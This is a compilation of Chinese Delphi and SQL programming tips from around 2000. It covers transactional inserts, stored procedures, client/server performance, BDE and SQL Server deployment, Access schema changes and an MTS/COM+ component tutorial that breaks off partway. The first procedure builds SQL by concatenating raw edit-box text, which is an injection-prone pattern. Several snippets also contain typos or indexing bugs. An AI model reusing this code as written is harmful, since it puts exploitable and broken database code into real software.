---- 为避免上述的麻烦，我们可以在编写网络数据库应用程序时采用结构化查询语言 SQL(Structured Query Language)，这样不仅可以更方便地与诸如 SQL Server、Oracle 等各种后台数据库进行动态的数据交换，而且可以使程序的修改和移植更加灵活。我们以数据输入模块为例，说明开发客户/服务器应用程序时如何采用 SQL 语句实现数据处理功能。首先，判断是否已经有事务处理程序在运行，如果有，将其回卷(rollback)；如果没有，则启动一个新的事务，为数据的最终处理做准备。其次，是设置 SQL 语句，并将其写入 TQuery 构件中。最后，将事务提交或回卷，至此完成一条记录的数据输入。

---- 下面是以页面中的 TEdit 类型编辑框内容作为数据源，向数据库输入记录的过程代码：

procedure DataInsert(const qName:TQuery;
szDBName:string;iNum:Integer;
iMark:array of Integer;eName:array of TEdit);
var
i : Integer;
szSQL : string;
begin
if DataModule1.DataBase1.InTransaction=true then
DataModule1.DataBase1.RollBack;
DataModule1.DataBase1.StartTransaction;
szSQL := 'INSERT INTO '+szDBName+' VALUES('
for i:=0 to iNum-1 do
begin
if iMark[i]=0 then
szSQL := szSQL+eName[i].Text {非字符方式}
else
szSQL := szSQL+'"'+eName[i].Text+'"'; {字符方式}
if i=iNum-1 then
szSQL := szSQL+')'
else
szSQL := szSQL+',';
end;
qName.Close; {关闭查询}
qName.SQL.Clear; {清SQL特性内容}
qName.SQL.ADD(szSQL); {添加SQL内容}
szSQL := 'SELECT * FROM '+szDBName;
qName.SQL.ADD(szSQL);
qName.Open; {返回结果集}
DataModule1.DataBase1.Commit;
end;
---- 以上过程包含五个参数，实现从页面中的一系列编辑框中读取数据，并向指定数据表输入的功能。其中，参数 qName 为页面中所使用的 TQuery 类构件的名称；参数 szDBName 是数据表的名称；参数eName 是 TEdit 类型的数组，列出了页面中包含数据的各编辑框名称；参数 iNum 是数据表中的字段个数，也即编辑框的个数；参数 iMark 是一个整数类型的数组，该参数表明相应字段是以何种方式输入的，如果是字符方式，需要在数据前后两端加上引号。需要注意的是：在调用本过程之前，应将数据库连接打开：

DataModule1.DataBase1.Connected := true;

过程调用完成后，将数据库连接断开：
DataModule1.DataBase1.Connected := false;
---- 另外，开发网络数据库应用程序时，还可以使用存储过程，即：将预先编译过的 SQL 语句存储在服务器上。存储过程提前运行，且不与程序代码一同存储和编译，因此其对应主程序中的代码相对简洁，运行速度也较快。SQL 语句的集中存放，使其修改更容易。

---- 要创建向数据表中输入数据的存储过程，代码编写举例如下：

CREATE PROC ProcTest1
@inttest smallint
,@strtest char(4) output
AS
INSERT INTO TEST_User.TRANS_TEST
VALUES(@inttest,@strtest)
SELECT @strtest,* FROM TEST_User.TRANS_TEST
---- 以上代码向数据表 TEST_User.TRANS_TEST 添加数据，该数据表包括两个字段：第一个字段为 smallint 类型的数据，参数类型定为 Input(在存储过程中可缺省)；第二个字段数据为长度为4 的字符类型，参数类型为 Output。

---- 其模块程序的编写与 DataInsert 过程相似，区别主要在于模块的中间部分，对应的主要代码如下：

StoredProc1.Close;
{关闭存储过程}
StoredProc1.Params[1].ParamType := ptInput;
{设置存储过程的参数类型}
StoredProc1.Params[1].AsInteger := 1;
{设置存储过程中参数的数据}
StoredProc1.Params[2].ParamType := ptOutput;
StoredProc1.Params[2].AsString := 'abcd';
StoredProc1.Open; {打开存储过程}
---- 其中，StoredProc1 是 TStoredProc 类型的构件名称；Params[1] 是存储过程中的第一个参数，对应存储过程 ProcTest1 可以用ParamByName('@inttest')代替；存储过程的第二个参数与其类似。


提高客户机/服务器应用系统性能的一些方法

一、问题的提出
80年代末到90年代初,许多应用系统从主机终端方式、文件共享
方式向客户机/服务器方式过渡。客户机/服务器系统比文件服务器系
统能提供更高的性能,因为客户机和服务器将应用的处理要求分开,同
时又共同实现其处理要求(即"分布式应用处理")。服务器为多个客户
机管理数据库,而客户机发送请求和分析从服务器接收的数据。在一
个客户机/服务器应用中,数据库服务器是智能化的,它只封锁和返回
一个客户机请求的那些行,保证了并发性,使网络上的信息传输减到最
少,因而可以改善系统的性能。
在客户机/服务器系统中,应用的处理是分布在网络上的,所以在
设计客户机方数据库应用程序时,若把过多的负担加在网络上,没有充
分利用数据库的存储过程,没有把网络访问最小化,结果是应用程序要
执行过多的网络I/O,使网络饱和,从而降低了整个系统的性能。要开
发好的客户机/服务器应用系统,必须搞清楚如何在组成系统的各部分
之间分布应用功能。
本文提出一些方法来确定客户机/服务器数据库系统中哪些功能
应放在哪里实现。客户机应用程序主要侧重于用某种方便用户的方式
表示和(或)分析数据。开发客户机应用程序时,网络传输量是应重点
考虑的问题之一。应注意应用程序如何向数据库服务器发送信息或从
数据库服务器接收信息以及发送和接收多少数据。通常客户机/服务
器系统上网络I/O是应用程序性能的瓶颈,一个应用程序引起的网络上
I/O越少,应用及整个系统的运行情况越好。要从一个客户机应用中消
除不必要的网络传输量,需要理解和利用SQL命令及数据库上的其它一
些特征。

二、一个例子
下面,我们来考虑这样一个例子:一个数据库应用程序完成显示每
个销售订单的所有行的金额合计。
一般算法分两步:
(1)每行项目中数量乘以单价=金额;
(2)把每行金额累加。
第一种方法:
每次一行,然后,用应用程序累加,即
SELECT orderid, quantity ,unitprice
FROM item ,stock
WHERE stock.id=item.id
ORDER BY orderid
结果为:
orderid quantity unitprice
1 1 6.03
1 1 21.4
1 4 87.12
2 2 8.97
2 3 21.4
采用这种方法,若业务量增大,则其网络的传输量相应增大。
第二种方法:
让数据库服务器进行计算,然后只把结果从网上取过来,即:
SELECT orderid ,SUM(quantity *unitprice)
FROM item , stock
WHERE item.id=stock.id
GROUP BY orderid
ORDER BY orderid
结果为:
orderid SUM(quantity*unitprice)
1 265.87
2 82.14
如上所示,由于第二种查询使用了一个SQL的组合,即一个SQL函数
(SUM)以及一个GROUP BY子句,让服务器来执行计算。因此,只需从网
上传输较少的数据。
这个简单例子说明:

1.在客户机/服务器环境中如何用SQL函数减少网络上的传输量;
2.开发人员必须完全熟悉SQL才能做出好的客户机数据库应用程
序。
三、提高性能的方法
下面我们介绍几种提高性能的方法。

1.使用完整性约束
所有客户机应用程序必须遵循一系列预先定义的数据完整性规划
及业务规则,以保证所有数据库数据是合法的。可以使用两种方法来
实施一个简单的完整的规则:让应用程序执行完整性检查;使用Oracle
7的完整性约束。
(1)让应用程序执行完整性检查
例如,任何一个订单( orders)的顾客号必须是客户机表( custom
er)中的顾客户机号。这是一个最简单的引用完整性,可以用应用程序
本身执行完整性检查。
DECLARE
flag INTEGER;
BEGIN
SELECT id INTO flag
FROM customer
WHERE id=3
FOR UPDATE OF id;
IF SQL%FOUND THEN
INSERT INTO orders
VALUES(5,3,SYSDATE,null,null,'F');
-- 其他应用逻辑
COMMIT;
END IF;
END;
这个过程只是在应用程序内部用于实施引用完整性规则的一种方
法,但可以看出,为实施一个简单的完整性规则,应用程序要花大量的
时间通过网络来请求和发送数据。
(2)使用Oracle 7的完整性约束
CREATE TABLE orders
(
id INTEGER PRIMARY KEY,
customer id INTEGER NOT NULL REFERENCES customer,
orderdate DATE NOT NULL,
shipdate DATE DEFAULT SYSDATE,
paidate DATE DEFAULT SYSDATE,
status CHAR(1) DEFAULT ‘F' CHECK(status IN(‘F'
,‘B'))
);
实施简单完整性规则(如引用完整性)的更好方法是使用Oracle 7
的完整性约束。该方法的好处是明显的:
①定义一个表的同时,方便地建立完整性约束,开发人员不需为实
施一个简单的完整性规则而创建测试、排错复杂的数据完整性逻辑,
提高了工作效率;
②用集中化的方法实现完整性规则;
③无需任何网络I/O,客户机/服务器系统也就不会因为网络访问
而降低性能。
2.使用数据库触发器
应用程序经常需要实施复杂的业务规则,这些规则无法用完整性
规则表示,所以最好不要按照常规思路在应用程序中实施完整性规则;
而是用数据触发子(triggers)来实施业务规则。其优点是容易创建,
可集中进行规则实施,避免不必要的网络I/O。
利用数据库触发子可以使其他一些应用程序集中化和自动化。
比如,计算item 表中的total 列的值是所订零件的数量乘以零件的单
价,而零件单价存放在stock表中,当插入一个新的行项目时,应用程序
计算total列的值有两种方法。
方法一:让应用程序通过SQL命令执行这个操作
DECLARE total REAL;
BEGIN
SELECT unitprice*quantity INTO total
FROM stock, item
WHERE id=4;
INSERT INTO item VALUES(...);
END
应用程序通过网络发出请求,取得某一些零件单价,然后插入这个
含有该行计算值(tota l)的行。修改item表中某行数量值,应用程序
需要包含相似的逻辑来计算。此外,多个用户还可能同一时刻插入和
修改订单。总之,用这种方法来计算total 列时会在客户机/服务器系
统中产生大量的网络传输。
方法二:用数据库触发子, 从一个行项目自动导出total 的值,
当用户在item表中插入新行或修改quantity时,无需任何网络访问。
CREATE TRIGGER Linetotal
BEFORE INSERT OR UPDATE OF quantity,stockid
ON item
FOR EACH ROW
DELARE
itemprice REAL;
BEGIN
SELECT unitprice
INTO itemprice
FROM stock
WHERE id=:new.stockid;
:new.tolal:=new.quantity*itemprice;
END linetotal;
当创建触发器linetotal后, 应用开发人员在编写应用程序时就
不需考虑保持total列为最新值的问题,而且网络数据库上所有应用都
会因此受益。
3.利用过程和包优化性能
这里主要讨论如何利用完整性约束和数据库触发器把应用逻辑移
到数据库服务器中执行以便减少网络I/O,提高性能。
其它类型应用处理逻辑分布到数据库服务器亦可以减少客户机/
服务器应用中的网络I/ O,应用程序不必再用包含多个网络操作的SQL
语句去执行数据库服务器操作,而是简单且有效地调用存储过程。包
是一种用来把多个有关的过程在数据库中封装起来的方法。
下面是用SQL和用存储过程例子的差异:
例如要插入某些行项目的订单,用SQL实现过程:
INSERT INTO orders VALUES(...)
INSERT INTO item VALUES(1,..)
UPDATE stock SET onhand=...
INSERT INTO orders VALUES(...)
INSERT INTO item VALUES(2,..)
UPDATE stock SET onhand=...
INSERT INTO orders VALUES(...)
INSERT INTO item VALUES(3,..)
UPDATE stock SET onhand=...
COMMIT;
要创建一个新销售订单并插入它的三个行项目,应用程序必须用7
个不同的的SQL语句来实现,每个语句都要通过网络传输数据,要减少
这些SQL语句在客户机/服务器系统中产生的网络传输量,可以创建两
个简单的过程来插入订单及行项目。
CREATE PROCEDURE placeorder(custid IN INTEGER) AS
BEGIN
INSERT INTO orders
VALUES(orderseq.NEXTVAL,custid,SYSDATE,null,null,‘F
');
END placeorder;
CREATE PROCEDURE placeitem
(itemid IN INTEGER,partid IN INTEGER, quan IN INTEGER)
AS
BEGIN
INSERT INTO item(id,orderid,stockid,quantity)
VALUES(itemid,orderseq.CURRVAL,partid,quan);
UPDATE stock
SET onhand=onhand-quan
WHERE id=partid;
END placeitem;
应用程序只需简单调用这几个过程。
Placeorder(3);
Placeitem(1,3,2);
Placeitem(2,8,1);
Placeitem(3,9,3);
当一个应用程序调用存储过程时,通过网络发送的数据只有过程
调用及参数。
本文提出的提高客户机/服务器应用系统性能的方法,主要是采用
合理分布处理逻辑于客户机端与服务器端,并充分利用数据库服务器
来提高执行速度。该方法的有效性,已在我们开发的多项客户机/服务
器应用系统中得到证实。此外,在提高性能的措施和方法中,SQL语句
的查询优化问题也不可忽视。综合上述两种方法,才能从根本上提高
客户机/服务器应用系统的性能。


Delphi5不能显示和处理Sql Server表字段内容问题

Delphi5不能显示和处理Sql Server表字段内容问题解决方法

作者：lodgue

利用Sql Server7.0导入数据的功能将Paradox表（test.db字段值类型全为字符类型Alpha）转换
成Sql Server7.0的表（test转换后的字段值类型全为nvarchar）.在Delphi5.0中访问(主要通过Table1,
DataSource1,DBGrid1)Sql Server7.0中的test表时,DBGrid1不能自动列出表中的任何字段，仅能列出一
个空的字段（column,无标题，该列有许多空行 - - 每行都是空白，行的总数刚好等于表的记录总数。），
在DBGrid1的Column属性中添加一些列，并且为每一列选中相应的字段（在列的属性FieldName中能够自动
列出表中的字段），同样也只能显示显示一些空行和空列。在程序中利用Table1['py1']访问字段py1的值
提示不存在该字段，而表中却存在该字段。利用Sql Explorer 访问同样只能列出一列和一些空行。
访问别的数据库中的表（没有nvarchar类型）均能正确显示和处理。于是考虑是否和表的结构有关系，
在Sql Server中将test表添加一些字段类型位char.在Delphi和Sql Explorer中能够正常显示和处理后来添
加的字段。后来把全部的nvarchar修改为char。再测试时，一切正常！

Lanny King回答:

关于nvarchar的问题，是因为Microsoft 在Sql 7 中新增加的字段，而Microsoft 宣布不在支持DB-Libary,
而Delphi使用的BDE刚好就是使用了DB-Libary，所以如果使用BDE就不支持Sql 7 中所有的新特性。


发布基于Microsoft SQL Server的程序

怎样发布基于Microsoft SQL Server的程序

作者：jojo
摘自：

很多朋友在编写完成基于SQLServer的程序后对发布程序感到头疼,因为仅仅发布应用程序和BDE是不够的,必须要安装SQLServer Client软件,难道还要提供一张SQLServer的光盘?下面jojo为大家介绍一个解决之道:

1.准备一份Install Shield Express,最好是2.01以上的版本,在Delphi的安装盘上有一个专用版本也可以用,按照制作一般程序安装盘的方法建立安装程序,必须安装BDE和SQL LINKS.

2.在你的Windows\System下面找到以下几个文件(当然你的机器必须已经安装SQLServer):

  • Dbmssocn.dll TCP/IP 支持文件
  • Dbmsspxn.dll IPX 支持文件
  • Dbnmpntw.dll 命名管道支持文件
  • Ntwdblib.dll SQLServer核心文件(这个文件最重要)

3.在Fpecify Components and Files的Groups and Files中,将以上几个文件加入到Program Files中去.当然你也可以建立一个组,将这些文件拷贝到System目录中,不过jojo个人倾向于拷贝到安装目录,以便反安装的时候可以彻底的删除它们.

4.如果你的程序运行比较简单(比如只有一个网段)现在你已经大功告成了,但不幸的是大多数人的网络环境没有如此简单,下面还要修改注册表:

修改键值:

其中DSQUERY设定默认的连接协议,这里设定的是IPX,128.1.1.1则是专有的连接,这里是设定一个连接名称为128.1.1的连接,使用TCP/IP协议,IP地址为128.1.1.1,你也可以把键名改成其他名称,只要与你的别名中SERVER NAME一项相同即可.

至此,你的安装盘已经做成,现在只需要Building一下就可以了.


通过sql连接两个在不同数据库的table

用bde的别名。query控件的databasename别赋值。
在引用时用以下的表示： ":db1:table1" , ":db2:table2"

这是两个库之间的表导入。

with query do
begin
sql.clear;
sql.add('insert into ":db1:kjqj" select * from ":sys:kjqj"');
execsql;
end;

通常的方法是使用两个不同的数据集：源集和目的集，分别连接到各自的数据库，Paradox和Oracle；然后将源集中的记录一条条复制到目的集。

优点：能够完成任务，而且允许用户反馈

缺点：执行缓慢并且耗费大量资源

一个更好的办法是在设计时或者你的代码中生成两个数据库别名(DB Alias)：PDOX和ORACLE，然后执行以下语句：

INSERT INTO

:ORACLE:TARGET

SELECT

FIELD_1, FIELD_2

FROM

:PDOX:SOURCE

但是先等等：

这样的语句可以很好地工作在数据库桌面程序(Database Desktop)中: FILE|NEW|SQL

但是在Delphi中，你要使用以下这个版本：

INSERT INTO

::ORACLE::TARGET

SELECT

FIELD_1, FIELD_2

FROM

::PDOX::SOURCE

注意到它们的不同之处了吗？让人迷惑，不是吗？

优点：执行速度快

缺点：你不能控制整个操作


在 Paradox 中生成视图

在 Paradox 数据表或其它标准表上生成视图，可以这样做：写一个 SQL 查询，将它保存到一个 .Sql 文件中，将之放入一个数据目录内。比如生成一个名为 view.sql 的文件，其内容为：

SELECT ORDERS."OrderNo" , CUSTOMER."Company" , EMPLOYEE."FirstName" , EMPLOYEE."LastName" FROM "CUSTOMER.DB" CUSTOMER , "ORDERS.DB" ORDERS ,

"EMPLOYEE.DB" EMPLOYEE WHERE ( CUSTOMER.CustNo = ORDERS.CustNo ) AND ( EMPLOYEE.EmpNo = ORDERS.EmpNo )

上面我使用了 Delphi 自带的标准数据库，别名 DBDEMOS 。将该文件保存到 DBDEMOS 指向的文件夹中。然后就可以使用它了。

用下面的语句：

Select * from "view.sql" order by FirstName,LastName

这样我们就为Paradox生成了一个等价的视图啦！

好处多多！


利用临时表加快查询

select * from table1 innerjoin table2 on table1.field=table2.field

有时这个查询很快就完成了，但却在返回结果的时候花费了大量时间.

我发现如果我把第一个查询的结果插入到一个临时表中时，情况就大不一样了，改变后的查询如下：

select * into #temptable from table1 innerjoin table2 on table1.field=table2.field

select * from #temptable

其中 "#temptable" 可以任意改成一个你觉得顺眼的名字。在与数据库的连接关闭后，这个临时表就自动被删除掉了。

现在对大批量数据而言，速度有了明显的提高。


修改Access数据库文件中的表结构

我们常常需要修改Access MDB表中某个字段的属性，当需要进行这项操作时，很多人并不知道其实可以很简单的实现，而且可以在运行时实现。与Interbase或者基于BDE的数据库不同的是，你可以修改字段的属性（例如改变文本字段的长度，包括缩短或者增长）而数据并不会丢失，而且也不用创建临时字段来保存数据。

回答:

你需要修改数据库中一个文本字段的长度吗？

在以前，这将导致大量的工作，但是Microsoft为我们提供了不使用MS Access而在运行时修改整个MDB数据库结构的可能。

这项技术就是“MS Jet Engine 4.0 Extensions”，可以免费从Microsoft网站上得到，并且随着ADO执行程序一起安装(MDAC_TYP.EXE + JET ENGINE)。

与基于BDE的数据库或者Interbasr不同的是，你可以在几秒钟完成调整一个字段大小的工作。

例如，如果你想将一个Access2000数据库中的“Catalog”表的“Description”字段从30个字符扩大到50个字符宽，你需要做的全部工作就是，以ADOQuery为例，设置连接属性以正确地连接到文件，在SQL属性(当然，它是TStringList类型的)中填入以下语句并执行：

Alter Table Catalog Alter Column Description Text(50);

也许你认为，要缩小一个字段的宽度是不可能的...这并不是事实；你所需要做的只是使用另一个SQL语句而已。

在数据不会丢失的情况下（例如，当把字段宽度减小时而没有数据会被截掉），这些SQL句法都可以被ADO承认。

为了避免数据丢失这种情况，你只需要这样执行SQL语句：

1) Update Catalog set Description = left(Description, 10)

2) Alter Table Catalog Alter Column Description Text(10);

这样做，多余的字符会在你的控制下被截掉，因此在调整字段大小的操作可以被接受。（当然，你要小心别把重要数据破坏掉，也不能破坏Primary Keys的完整性）


mySQL的SQL更新"特性"
Michael Leaver

摘　要：用相同的值更新一行，RowsAffected返回零
关键字：mysql execsql
类　别：数据库
在mySQL中用与旧值相同的新值更新一个SQL行意味着ExecSQL执行后RowsAffected返回零。当某列为TdateTime时会出现问题。

为避免此问题，新的列中的TdateTime值必须与数据库中的值有足够的"差别"。

投稿人：CoDelphi.com　投稿日期：2001-5-19 12:11:00


使用SQL实现字段数据的模糊查询

Delphi作为一个强大的数据库应用开发工具的一个重要标志，就是支持SQL编程。在实际的过程中，经常需要对某些字段进行模糊查询。如对“姓名”字段进行查询，当输入“王”时，能自动地将王姓的所有记录列出来。其实，通过结合SQL和Delphi的特点，就能很容易地完成这个功能。其基本原理是：查询时，将查询的范围控制在姓名大于‘查询字符串＋chr(0)’与小于‘查询字符串＋chr(＄ff)’之间，就能将满足条件的所有记录查询出来了。下面是具体的例子：
Var
NameStr:String;∥设置字符串中间变量
Begin
NameStr:=′王′；

Query1SQLClear{清除SQL属性中的SQL命令语句}
Query1SQLAdd(′Select＊FromCustomdbwhere(Name1&gt;=N1)and(Name2&lt;=N2)′);∥SQL命令语句
Query1params[0]AsString:=NameStr＋chr(0);∥控制参数在NameStr＋Chr(0)
Query1params[1]AsString:=NameStr＋chr(＄ff);∥和NameStr＋Chr(＄ff)之间
Query1Open;∥打开数据库，执行SQL查询
End;


字符相似性函数

SOUNDEX(char_expr) 比较两个字符串的相似性后返回一个四位数代码。
DIFFERENCE(char_expr1,char_expr2) 比较两个字符串，返回值从0到4，4为最优匹配。
Delphi没有可用的函数，我写了一个：
function MaxMatchStr(DestStr:String;Strs:array of String):String;
var
I:Integer;
begin
Result:='';
for I:=1 to Length(Strs) do
//如果与目标匹配
if (Pos(Strs[I],DestStr)>0) and
//而且比现在找到的结果更长
(Length(Strs[I])>Length(Result)) then
//替换当前结果
Result:=Strs[I];
end;

演示：
procedure TForm1.Button1Click(Sender: TObject);
begin
Caption:=MaxMatchStr('123456789',
['1',
'12',
'123',
'1234',
'12345',
'123456',
'1234567',
'12345678',
'123456789']);
end;
////////////////////////////////////////////////////////////////////////////
Function CompChar(Str1,Str2:String):integer;
var TempStr:String;
i,j:Integer;
Begin
result:=0;
if Length(str2)>Length(str1) then begin
tempstr:=str1;
str1:=str2;
str2:=tempstr;
end;
for i:=length(Str1) downto 1 do
for j:=1 to Length(Str1)-i+1 do
if (Pos(copy(Str1,j,i),Str2)>0)and(result＜i) then result:=i;
end;


MTS组件－从理论到实践

MTS组件——从理论到实践（一）
grhunter

摘　要：描述了MTS和COM+组件的原理，演示如何创建、安装、分
关键字：MTS COM COM+
类　别：COM & ActiveX

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

简述
·MTS是一种中间层COM组件宿主环境
·中间层组件应当是无状态的
·依靠无状态模式，MTS可以缓冲资源，在客户端之间共享组件
·COM和MTS组合起来，进化成为COM+
·利用类和向导，Delphi简化了MTS组件的创建
·从ActiveX类库入手--MTS组件必须是进程内组件
·创建MTS对象，选择线程模型和交易控制
·在类型库编辑器中定义对象接口
·调用SetComplete和SetAbort，告知MTS何时结束方法
·使用ObjectContext.CreateInstance在同一个事务中创建其它MTS组件
·使用OnActivate和OnDeactivate初始化和清除对象
·把组件安装到MTS包，并在正式使用之前测试
·最后，配置安全设置

    介绍

    本文将说明如何创建NT4的MTS组件和Windows2000的COM+组件。首先我想解释MTS是什么，还有一些关于它的理论。然后描述如何建立MTS组件，包括关于如何减少错误发生率的窍门。要提及的问题包括错误处理、调试、安全配置和安装等。

    我将用Delphi来实现一个简单的COM数据库组件--用ADO连结ACCESS数据库。

    什么是MTS

    MTS--Microsoft Transaction Server（微软事务服务器）远不止于一个事务服务器那么简单。它是一个COM组件的宿主环境：·管理系统资源（比如：进程、线程、连接等等）；·管理服务器对象的创建、执行和删除；·自动初始化和控制事务·进行安全管理，防止未经授权用户存取应用程序；·提供工具，用于配置、管理、发布应用程序的组件

    关键的方便之处在于，开发者可以不去考虑中间层程序的多个方面，让他们集中于业务逻辑的实现。

    原理

    MTS是如何运作的呢？

    它为分布式系统构建一个中间层，包容COM组件。在一个典型的系统中（图一），它将：
图一一个MTS应用程序
·从数据库取得数据；·传送到（瘦）客户端应用程序；·从客户端接收反馈数据；·实现业务逻辑操作；·保存到数据库。

    考察客户端应用程序操作。大多数时候它们在等待用户输入。所以，如果每个客户端程序都在中间层拥有一个单独的组件和数据库连接，多数时候这些资源被浪费了。

    MTS要做的，就是通过共享资源来彻底减少组件数量和数据库连接。在小系统中这无足轻重，但是在大系统（微软建议超过100个客户端）中，就大大不同了。

    什么是组件

    上文提到组件。什么是组件？这里所说的组件，不是在面向对象分析意义上的组件。

    一个典型的对象拥有方法和属性。试考察一个安装到中间层的对象，如果我们想通过它获取客户姓名、地址和电话号码，那么，就要调用某个方法、传递客户信息参数、获取姓名属性，然后是地址，最后才轮到电话号码。每个请求都需要一个网络周期，一共四个周期--非常缓慢、缺乏效率。

    实践上，一般只调用一个方法，返回所有需要的数据。尽管有些查询结果是多余的，但是性能却提高了。

    使用单个方法调用还有另外一个好处，也就是MTS所利用的好处。在通常使用的"对象模型"中，对象总是要保存数据以供查询。这就意味着只能为一个客户端服务。假如一次性返回所有数据，对象就无需保存任何信息--进入无状态模式。这时，对象就能为其它客户端服务。这就是MTS的核心了。

    这样，业务对象变成了代码库，美其名曰--组件。

MTS组件——从理论到实践（二）
grhunter

摘　要：描述了MTS和COM+组件的原理，演示如何创建、安装、分
关键字：MTS COM COM+
类　别：COM & ActiveX

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

    资源管理

    实际上，当组件完成一个方法调用时，MTS就毁掉它。听起来有些疯狂。组件每次都要重新创建，包括线程、数据库连接等等资源都是如此。特别是后者更加令人费解，因为数据库连接的创建成本高昂。为了节约成本，MTS缓存了很多资源。当一个新组建要求连接数据库，MTS就提供一个现存的连接。组件完成工作后，MTS把连接取回，而不是关闭它。运行组件的线程也用这样的方式被缓存。

    所以，重复创建和毁坏组件的成本就这样减低了。如果客户端连接数量足够多，资源节省完全足以抵消成本。数据库负载也减轻了。

    了解MTS创建和释放组件、以及缓存支持资源的方式，是创建高效MTS组件的关键。

    注意：数据库连接能否被缓存，取决于数据库引擎是否支持。

    COM+

    MTS在Microsoft NT4上运行。对于Windows 2000，微软把MTS整合进COM架构，构建了COM+.COM+包括MTS所有特性，还有额外的支持。MTS包在Windows 2000中变成了COM+应用程序。但是，要在MTS在Windows 2000上运行，无需做任何修改。本文将不做区分。

    COM+的新特性之一是组件和数据库连接都可以被缓存。这将带来明显的性能提高。

    上下文（Context）

    理论讲得差不多了。在被请求的时候，MTS组件被动态创建和释放，这称作即时活动。组件需要的资源被缓存，并为所有组件共享。

    在开始用Delphi创建MTS组件之前，必须理解一个关于MTS运作的细节。

    当客户端创建COM对象，它会收到一个指向被创建对象的接口。对象被释放后，这个接口不再合法，对它的方法调用就会失败。MTS要做点什么来避免发生这种情况。同时，它还要保存一些客户端状态信息，像安全配置和事务信息等等。

    于是就引入了context（上下文）对象。我觉得可以不是那么准确地把它看作是MTS组件的替身，使得客户端接口始终保持合法性。如图二所示。

图二MTS Context对象

    客户端初次创建MTS组件的时候，同时也创建了context对象。在客户端保留组件接口的时候，这个context组件一直存在。当客户端发出调用方法请求时，context对象就创建组件、运行方法、然后释放组件。Context对象的实际运作相当复杂，不过原理就是如此。

    看起来好像为每个客户端保留一个context对象违背了即时活动减低资源消耗的初衷。其实，context对象非常小，给MTS服务器带来的负荷，远比真正的MTS组件来得小。

MTS组件——从理论到实践（三）
grhunter

摘　要：描述了MTS和COM+组件的原理，演示如何创建、安装、分
关键字：MTS COM COM+
类　别：COM & ActiveX

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

在Delphi中创建MTS组件

为了保证上述操作的正确性，所有创建的MTS组件都要通过context对象与MTS联系。而它本身也是一个通过接口存取的COM对象。

Delphi中有一系列的类和向导，可以让我们不必考虑这些问题。我们可以从Delphi中继承的基类（TmtsAutoObject和TmtsDataModule）已经封装了和context对象的协调工作，而我们只需要调用继承的方法就万事大吉。这两个类也实现了IobjectControl接口，MTS用这个接口来控制组件。

第一步，要决定COM组件是进程内还是进程外服务器。如果是MTS则没得选--必须是进程内服务器。所以，首先要创建一个ActiveX Library。这样做：从File|New对话框的ActiveX页选取ActiveX Library。

图三 选取ActiveX Library

然后创建一个MTS组件。有两种选择：要么是MTS Object，要么是MTS Data Module，它们都在Multitier页。由于MTS Data Module主要用来创建MTS MIDAS应用程序，所以我们用MTS Object。

图四 选取MTS Object，进入MTS Object向导

图五 MTS Object向导

我们需要定义COM对象的CoClass名称和线程模型。MTS中，一般用Apartment线程模型。在COM+里，也可以用Apartment，但是不支持组件pooling（缓存）。我们可以用Both来达到这个目的。Both线程模型将创建多线程（Multi Threaded）Apartment COM对象，同时也支持单线程（Single Threaded）Apartment。STA和MTA之间的区别，超出了本文讨论范围，按下不表。

在这里可以指定事务模型，或者在组件安装到MTS中再改变也可以。事务模型确定MTS是否在每次方法调用时为组件创建一个事务控制。稍后我们再讨论这个问题。

通常来说，如果组件需要更新数据库，那就选择"Requires a transaction（需要事务处理）"，否则选择"Supports transactions（支持事务处理）"，这样可以提高性能，因为MTS使用分布式事务处理、可以在事务中更新多个数据库。不幸的是，这样做成本负荷太高。最好是把所有的更新方法放到单独的组件中，事务只在需要的时候被创建。

Event support（事件支持）对于MTS组件一般不需要。

向导完成后，可以在类型库编辑器中创建方法。组件是无状态的，所以一般不用属性。

在本例中我将创建一个方法，称作GetData。这个方法返回一个Variant值，但实质上是一个ADO Recordset。可以在类型库编辑器的Uses页包括ADO类型库，指定返回值为Recordset。但是variant类型在本例中更简单实用。

图六 类型库编辑器--定义GetData方法

注意：如果返回类型不是数据集，Delphi 4将会引起一个异常，导致组件崩溃。最好不要用D4开发MTS组件。

编写方法

定义好方法之后，开始写代码。最重要的是要告诉MTS组件工作已经完成，让MTS释放组件或放到缓存。同样也需要告诉MTS事务是否应该提交或者回滚。如果我们省略这一步骤，MTS就会把组件看作是有状态的，资源节省就无从谈起了。

TmtsAutoObject提供了七种可调用的方法，用来和context对象打交道。
·DisableCommit 状态组件使用，超出本文范围
·EnableCommit 状态组件使用，超出本文范围
·IsCallerInRole 组件内安全检查
·IsInTransaction 检查MTS是否创建事务
·IsSecurityEnabled 检查安全查看是否活动
·SetAbort 告诉MTS组件完成工作，放弃事务
·SetComplete 告诉MTS组件完成工作，提交事务

后两个就是我们要用的了。下面提供一种通用的MTS组件方法编码结构：

function TMTSDemo1.GetData: OleVariant;
begin
try
// 在这里进行操作
SetComplete;
except
SetAbort;
Raise;
end{try/except};
end;

如果出错，MTS马上就知道，同时引发一个异常，通知客户端。

SetAbort和SetComplete的作用，就像对事务处理的结果进行投票。一个事务可以为多个组件分享。如果其中一个组件调用了SetAbort，整个事务就被回滚。在这之后，所有数据库操作均不被允许进行。所以，只在必须时调用SetAbort。如果组件试图存取数据库，就会引发一个$8004E004异常。这是在MTX单元中定义的。

因为必须确保SetAbort和SetComplete只被调用一次，而且一个方法有可能被组件内的其它方法调用，所以我通常把每个方法主要代码放在内部例程，而用一个外部例程来调用它。用一个下划线前缀表示内部例程，像这样：

function TMTSDemo1.GetData: OleVariant;
begin
try
Result := _GetData;
SetComplete;
except
SetAbort;
Raise;
end{try/except};
end;

通过这个方法，我用ADO COM对象直接取得一个关闭的数据集，返回到客户端。这是一个典型的MTS组件方法。我们需要它从客户端存取编辑的数据集，并更新数据库。

function TMTSDemo1._GetData: OleVariant;
var
Data : Recordset;
StrConnectionString : string;
Begin
{设置名为DelphiMTSDemo 的 ODBC DSN，连接到DemoData.mdb}
strConnectionString := 'DSN=DelphiMTSDemo';
Data := CoRecordset.Create;
try
Data.CursorLocation := adUseClient;
Data.Open ('SELECT * from CUSTOMERS', StrConnectionString,
adOpenKeyset, adLockBatchOptimistic, adCmdText);
// 断开数据库连接
Data.Set_ActiveConnection(nil);
Result := Data;
Finally
// 释放接口
Data := nil;
end{try/finally};
end;

因为MTS缓存了数据库连接，所以尽量不要太早打开数据库连接，而且尽早释放它，降低其它组件创建新连接的可能性。如果缓存池中没有可用连接，就会发生这种情况。

MTS组件——从理论到实践（四）
